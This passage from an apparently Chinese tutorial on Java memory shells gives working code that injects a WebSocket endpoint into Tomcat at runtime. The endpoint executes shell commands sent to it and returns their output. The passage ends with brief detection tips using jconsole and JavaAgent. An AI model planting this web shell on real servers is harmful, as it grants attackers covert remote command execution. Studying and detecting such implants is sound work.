byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
if (null == container.findMapping(urlPath)) {
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注入一次以后就可以用 wscat 进行连接了
排查
我们首先要确定环境中是否存在内存马。下面给出一些方法:
jconsole
我们通过 jconsole 连接到 web 进程,可以看到加载注册的 Filter、Servlet。
借这个 console 也可以让我们对恶意的内存类进行删除操作。 但是还是不够方便,且有很明显的局限性。
JavaAgent+javassist
这里后面写 JavaAgent 内存马的时候再谈